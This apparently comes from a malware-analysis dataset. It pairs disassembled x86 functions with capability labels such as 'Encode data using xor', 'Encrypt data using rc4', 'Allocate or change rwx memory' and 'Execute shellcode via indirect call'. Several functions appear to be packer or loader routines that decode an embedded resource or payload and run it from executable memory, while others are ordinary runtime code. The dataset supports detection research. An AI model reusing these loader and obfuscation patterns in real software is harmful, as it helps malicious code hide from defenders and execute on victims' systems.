joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4035ed
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x4035fc
pop dword [ebp - 0x3c]
mov eax, 0x70eb1d87
sub eax, 0x70aae78b
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x77f1fe0f
add dword [ebp - 0x4c], 0xd660473c
mov dword [ebp - 0x48], 0x610c5041
sub dword [ebp - 0x48], 0x2ed903fc
mov dword [ebp - 0x44], 0x6f6378ad
sub dword [ebp - 0x44], 0x2317347f
mov dword [ebp - 0x40], 0x6c64c41f
add dword [ebp - 0x40], 0x939b3be1
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xb1646f5a
add dword [ebp - 0x4c], 0xc30df9fc
mov dword [ebp - 0x48], 0x803002a
add dword [ebp - 0x48], 0x3969614b
mov dword [ebp - 0x44], 0x383b375f
add dword [ebp - 0x44], 0x2b34350d
mov dword [ebp - 0x40], 0x82cc60b
add dword [ebp - 0x40], 0xf7d339f5
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x389f5
push 0
call eax
mov ecx, 0x4bbd
mov edi, eax
mov edx, 0x9d16a333
sub edx, 0x9cd5db33
add edx, dword [ebp - 0x3c]
mov esi, 0xbf8f5931
mov dword [ebp - 0x24], 0xe2076ca7
mov ebx, dword [edx]
xor dword [ebp - 0x34], 0x7dd7577f
sub ebx, esi
mov dword [edi], ebx
xor dword [ebp - 0x18], eax
add edi, 0xd334f626
add edi, 0x2ccb09de
add edx, 0x6f25c6c2
sub edx, 0x6f25c6be
loop 0x403708
add eax, 0x887d2538
add eax, 0x7783fc8f
mov ebx, eax
add eax, 0x7053c073
add eax, 0x8fac3f92
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x4045aa
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4068f8
call fcn.0040545b
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x4045c9
mov al, 1
jmp 0x404692
test esi, esi
je 0x404690
xor ebx, ebx
cmp word [esi], bx
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x404690
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.004035ed
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x404684
lea eax, [ebp - 0x28]
push eax
call fcn.004035ed
pop ecx
test al, al
jne 0x404684
cmp dword [ebp - 0x18], esi
jbe 0x404684
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x404684
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x404684
push 0x407628
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401780
mov al, bl
jmp 0x404692
xor al, al
call fcn.00405416
ret
Function at 0x40167e
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x2d1ad94]
sub esp, 0x400
push esi
mov esi, eax
shr esi, 3
push edi
mov edi, dword [0x2d1acec]
test esi, esi
je 0x4016c9
cmp eax, 0x959
jne 0x4016b5
push 0
lea eax, [ebp - 0x400]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, edi
call fcn.00401481
add edi, 8
dec esi
je 0x4016c9
mov eax, dword [0x2d1ad94]
jmp 0x40169d
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x40d786
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00404d45
mov dword [ebp - 0x14], eax
cmp dword [0x442408], esi
jne 0x40d879
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d806
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d959
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d959
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d959
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x442408], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x44240c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x442410], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x442418], eax
test eax, eax
je 0x40d876
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x442414], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d89e
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d891
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d8b3
push 4
pop eax
jmp 0x40d95b
cmp dword [ebp - 0x14], esi
je 0x40d8b3
push dword [0x442408]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d898
mov eax, dword [0x442414]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d911
cmp dword [0x442418], edi
je 0x40d911
push eax
call ebx
push dword [0x442418]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d911
test eax, eax
je 0x40d911
call ecx
test eax, eax
je 0x40d906
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d906
test byte [ebp - 8], 1
jne 0x40d911
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d941
mov eax, dword [0x44240c]
cmp eax, edi
je 0x40d93e
push eax
call ebx
test eax, eax
je 0x40d93e
call eax
mov esi, eax
test esi, esi
je 0x40d93e
mov eax, dword [0x442410]
cmp eax, edi
je 0x40d93e
push eax
call ebx
test eax, eax
je 0x40d93e
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x442408]
call ebx
test eax, eax
je 0x40d959
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d95b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403fb7
mov esp, ebp
pop ebp
ret
Function at 0x100af33c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101db098]
jne 0x100af346
repz ret
jmp fcn.100b0dab

Function at 0x100b1eff
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100af3bd
and dword [ebp - 4], 0
cmp dword [0x101dcdc8], 0
mov ebx, eax
jne 0x100b1fb0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x100b2061
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x100b2061
push eax
call fcn.100af34b
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x101dcdc8], eax
call esi
push eax
call fcn.100af34b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x101dcdcc], eax
call esi
push eax
call fcn.100af34b
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x101dcdd0], eax
call esi
push eax
call fcn.100af34b
pop ecx
mov dword [0x101dcdd8], eax
test eax, eax
je 0x100b1fb0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100af34b
pop ecx
mov dword [0x101dcdd4], eax
mov eax, dword [0x101dcdd4]
cmp eax, ebx
je 0x100b2008
cmp dword [0x101dcdd8], ebx
je 0x100b2008
push eax
call fcn.100af3c6
push dword [0x101dcdd8]
mov esi, eax
call fcn.100af3c6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100b2008
test edi, edi
je 0x100b2008
call esi
test eax, eax
je 0x100b1fff
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100b1fff
test byte [ebp - 0xc], 1
jne 0x100b2008
or dword [ebp + 0x10], 0x200000
jmp 0x100b2041
mov eax, dword [0x101dcdcc]
cmp eax, ebx
je 0x100b2041
push eax
call fcn.100af3c6
pop ecx
test eax, eax
je 0x100b2041
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x100b2041
mov eax, dword [0x101dcdd0]
cmp eax, ebx
je 0x100b2041
push eax
call fcn.100af3c6
pop ecx
test eax, eax
je 0x100b2041
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x101dcdc8]
call fcn.100af3c6
pop ecx
test eax, eax
je 0x100b2061
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100b2063
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100b3a24
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101dab20], 0
mov byte [0x101dab24], 0
mov edi, dword [0x101dab14]
add edi, 0xe84
mov dword [0x101dab18], edi
mov dword [0x101dab1c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x100b3b23
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x101dab28], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x101dab20]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x101dab28], esi
mov dword [0x101dab14], 0x233b
mov eax, esi
cdq
idiv ecx
mov dword [0x101dab20], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x101dab24], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x101dab24]
mov esi, dword [0x101dab20]
mov byte [ebx + esi], cl
mov esi, dword [0x101dab1c]
add esi, 1
mov dword [0x101dab1c], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x100b3a76
jmp 0x100b3b55
xor eax, eax
mov dword [0x101dab1c], 0
mov dword [ebp - 0x20], eax
jmp 0x100b3a76
mov eax, dword [ebp - 0x1c]
mov dword [0x101dab18], 0x8b8
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101dab1c]
add eax, 1
mov dword [0x101dab1c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x100b3b23
jmp 0x100b3b0f
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100b3d1d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x101c7ccb]
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x101dab14], 0x1540
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.100b3989
mov dword [0x101dab14], 0x1b9e
call fcn.100b3fbe
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.100b385f
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x100b3e2b
mov dword [0x101dab14], 0x505
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x101dab14], 0x1847
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.100b3bf6
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x101dab14], 0x14d0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x14], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x58], ecx
mov dword [0x101dab18], 0xc82
cmp ecx, 0
mov dword [ebp - 0x40], eax
jne 0x100b3e35
mov eax, dword [ebp - 0x40]
add esp, 0x4c
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x44]
add eax, 0x234a
mov ecx, dword [0x101dab14]
add ecx, 0x2182
mov dword [0x101dab14], ecx
mov dword [ebp - 0x40], eax
jmp 0x100b3e2b
Function at 0x100b4673
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.100b499e
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, dword [0x101dab14]
add edi, 0x20f3
mov dword [0x101dab14], edi
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x101dab18], 0x1487
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x100b47b9
jmp 0x100b4735
mov al, byte [ebp - 0x25]
test al, 1
jne 0x100b4794
jmp 0x100b46e1
xor eax, eax
mov ecx, dword [ebp - 0x2c]
add ecx, 2
mov edx, dword [ebp - 0x30]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x24], eax
jb 0x100b4747
jmp 0x100b47b9
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x40]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x45], bh
mov byte [ebp - 0x25], cl
je 0x100b46d4
jmp 0x100b4763
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edx
jmp 0x100b470a
mov eax, dword [ebp - 0x44]
add eax, 1
mov cl, byte [ebp - 0x45]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x25]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x3c], eax
jne 0x100b470a
jmp 0x100b46d4
mov eax, dword [ebp - 0x2c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x101dab14], 0x954
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100b47c4
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0xc], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [0x101dab18]
add edx, 0xffffd94f
mov dword [0x101dab14], edx
mov esi, dword [ebp - 0xc]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
jmp 0x100b4864
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x100b48de
jmp 0x100b490e
mov eax, dword [ebp - 0x24]
add eax, 0xffffe7d7
mov dword [0x101dab14], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x100b48c9
jmp 0x100b490e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [0x101dab14], ecx
mov edx, dword [ebp - 0x14]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
je 0x100b48aa
jmp 0x100b490e
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
mov edx, eax
add edx, 0xffffe3e9
mov esi, dword [ebp - 0x14]
cmp word [esi + ecx*2], 0
mov edi, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edi
je 0x100b4844
mov eax, dword [ebp - 0x30]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
jl 0x100b4864
jmp 0x100b4844
mov dword [0x101dab18], 0x7a0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x100b481f
jmp 0x100b490e
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x100b4807
jmp 0x100b490e
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x100b490e
mov eax, 1
mov dword [0x101dab14], 0xb63
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x34], eax
je 0x100b4915
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x100b4915
mov eax, dword [ebp - 0x34]
add esp, 0x2c
pop esi
pop edi
pop ebp
ret
Function at 0x100b4b5a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101dab1c], 0
mov dword [0x101dab20], 0
mov dword [0x101dab2c], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
jne 0x100b4bb7
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, edx
add edi, 1
add eax, 1
mov dword [0x101dab14], 0x581
mov dword [ebp - 0x2c], edx
cdq
idiv esi
mov dword [0x101dab1c], edx
mov dword [0x101dab18], 0x20ec
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x101dab20], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x101dab24], cl
mov dword [0x101dab18], 0x1c17
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101dab24]
mov edx, dword [0x101dab20]
mov byte [ebx + edx], cl
mov edx, dword [0x101dab1c]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x101dab20]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x101dab2c], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
mov ch, byte [edx + esi]
mov dword [0x101dab18], 0x2239
mov edx, dword [0x101dab14]
add edx, 0x97e
mov dword [0x101dab14], edx
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x34], edi
je 0x100b4baf
mov eax, dword [0x101dab20]
mov ecx, dword [0x101dab1c]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], ecx
jmp 0x100b4bb7
Function at 0x100b4cb6
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [0x101dab14], 0x895
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.100b4110
lea ecx, [0x100b3e54]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x6c], edx
mov dword [esp + 0x74], 0x15b400
mov edx, dword [0x101dab00]
mov dword [esp + 0x78], edx
mov edx, dword [0x101dab04]
mov dword [esp + 0x64], edx
mov edx, dword [0x101dab08]
mov dword [esp + 0x40], edx
mov edx, dword [0x101dab0c]
mov dword [esp + 0x38], edx
mov edx, dword [0x101dab10]
mov dword [esp + 0x4c], edx
mov dword [0x101dab18], 0x1d3f
mov dword [0x101dab14], 0x2324
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x100b4d4e
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x100b4d71
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x100b4d85
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x100b4d4e
mov eax, dword [esp + 0xc]
mov dword [esp + 0x58], eax
mov dword [0x101dab14], 0x4417
mov dword [0x101dab18], 0x94b
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x50], edx
call fcn.100b47c4
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
jne 0x100b4d46
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.100b3d1d
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0x10], eax
jmp 0x100b4d46
Function at 0x4013ec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
pushal
mov eax, str.GetLastError
add eax, dword [ebp + 0x10]
push eax
mov eax, 0x40400c
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, 0x40410b
add eax, dword [ebp + 0x10]
call dword [eax]
push eax
mov eax, 0x404023
add eax, dword [ebp + 0x10]
push eax
mov eax, 0x40400c
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, 0x40410b
add eax, dword [ebp + 0x10]
call dword [eax]
pop eax
call eax
or eax, eax
jne 0x401435
push eax
jmp 0x401443
cmp eax, 0x7f
jne 0x401441
push 0x100
jmp 0x401443
push 1
mov esi, dword [ebp + 8]
mov ebx, 0xa
mov ecx, dword [ebp + 0xc]
shr ecx, 2
mov edx, 0
mov eax, dword [ebp + 0xc]
shr eax, 2
sub eax, ecx
push eax
div ebx
inc edx
inc edx
sub dword [esi], edx
xor edx, edx
pop eax
div ebx
add edx, dword [esp]
push edx
add dword [esp], 0x4530ec21
pop edx
xor dword [esi], edx
add esi, 4
loop 0x401451
pop eax
popal
leave
ret 0x10

Function at 0x401537
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x90]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x401556
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x40154a
add esi, 0x10000
push esi
mov eax, 0x40400c
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004014a5
mov dword [0x40410b], eax
push 0x404023
push 0x3e9
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x40159a
leave
ret 8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x4015ab
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x4015bf
leave
ret 8
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x4015cd
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
jne 0x4015e9
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.004013ec
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
pop eax
push ebx
push 0x8000
push 0
push eax
call sub.kernel32.dll_VirtualFree
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
mov dword [ebp - 4], ebx
mov ebx, dword [esp]
add ebx, dword [ebp + 0xc]
and ebx, 0xffff0000
add ebx, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x40163c
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4016b6
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401b5a
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x401303
push dword [ebp + 0xc]
jmp section..htext